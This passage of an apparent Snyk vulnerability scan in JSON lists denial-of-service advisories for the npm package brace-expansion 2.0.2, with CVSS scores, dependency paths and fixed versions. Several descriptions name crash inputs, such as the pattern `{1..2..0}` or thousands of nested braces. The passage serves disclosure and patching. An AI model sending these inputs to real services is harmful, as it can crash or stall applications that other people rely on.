">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub 